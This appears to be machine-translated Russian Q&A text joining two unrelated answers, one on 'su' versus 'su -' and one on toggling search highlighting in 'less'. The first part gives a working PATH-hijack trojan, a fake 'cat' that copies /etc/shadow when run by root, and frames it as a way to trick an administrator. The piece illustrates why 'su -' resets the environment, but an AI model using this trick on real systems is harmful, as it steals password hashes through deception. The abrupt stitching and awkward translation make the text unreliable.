su -
вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую основу.
su
просто переключает пользователя, предоставляя нормальной оболочке среду почти то же как со старым пользователем.
Вообразите, Вы - разработчик программного обеспечения с доступом обычного пользователя к машине, и Ваш неосведомленный администратор просто не предоставит Вам корневой доступ. Давайте (надо надеяться), обманем его.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Теперь, Вы спрашиваете своего администратора, почему Вы не можете cat
фиктивный файл в Вашей домашней папке, это просто не будет работать!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Если Ваш администратор не настолько умен или просто немного ленив, он мог бы подойти к Вашему столу и попробовать своими полномочиями суперпользователя:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Ничего себе! Спасибо, супер администратор!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Он, он.
Вы, возможно, заметили что поврежденный $PATH
переменная не была сброшена. Этого не произошло бы, если администратор вызвал su -
вместо этого.
Вы можете использовать Alt+u для того, чтобы убрать выделение в последних результатах поиска.
Вы можете выделить их снова с помощью Alt+u, это переключатель.
Выключение подсветки не выключает столбец статуса -, показывая - на каждой строке -, если столбец включен с помощью опций -J
или -столбца статуса
или клавиш -J.
Чтобы скрыть столбец статуса, используйте -+J.
Чтобы показать столбец статуса, используйте -J.
(Технически, Alt+u это эквивалентно ESCu на уровне терминала - поэтому клавиша Alt-не упоминается в man-странице)
.От man less
:
ESC-u
Выделение поиска Отмены. Выключите выделение строк, соответствующих текущему шаблону поиска. Если выделение уже выключено из-за предыдущей команды ESC-u, снова включите выделение. Любая поисковая команда также снова включит выделение. (Выделение может также быть отключено путем переключения-G опции; в этом случае поисковые команды не снова включают выделение.)